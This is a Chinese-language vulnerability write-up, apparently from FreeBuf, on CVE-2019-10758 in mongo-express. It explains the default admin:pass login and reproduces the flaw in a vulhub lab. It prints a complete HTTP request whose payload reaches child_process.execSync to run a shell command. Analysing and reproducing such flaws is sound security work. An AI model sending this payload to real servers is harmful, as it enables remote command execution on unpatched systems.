一、漏洞介绍
mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(`admin:pass`),则可以执行任意node.js代码。
影响版本:
mongo-express < 0.54.0
二、漏洞原理分析
漏洞触发点:文件/node_modules/mongo-express/lib/router.js进行路由事件的方法绑定
/node_modules/mongo-express/lib/routes/document.js,调用了toBSON

需要进行登录才能执行命令的原理分析
文件/node_modules/mongo-express/lib/router.js中,根据config.useBasicAuth的值绑定一个basicAuth中间键,如果初始启动程序的时候没有-u/-p参数,则获取配置文件的username&password(默认为admin:pass)来进行绑定
三、漏洞复现
环境准备:
服务器(使用的vulhub环境拉取镜像):192.168.29.141攻击机:个人PC,含有burpsuite软件即可1.服务器端漏洞环境搭建(此处使用的vulhub的docker环境进行搭建的漏洞环境,链接为https://vulhub.org/#/environments/mongo-express/CVE-2019-10758/)


docker psdocker exec -it 7a8cbf9b3fea bash


POST /checkValid HTTP/1.1Host: 192.168.29.141:8081Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeAuthorization: Basic YWRtaW46cGFzcw==Content-Type: application/x-www-form-urlencodedContent-Length: 134document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo 'I am xiaokeai' >/tmp/1")
PS:YWRtaW46cGFzcw==解码为admin:pass(base64编码

来源:freebuf.com 2020-08-24 11:20:53 by: 龙渊实验室LongYuanLab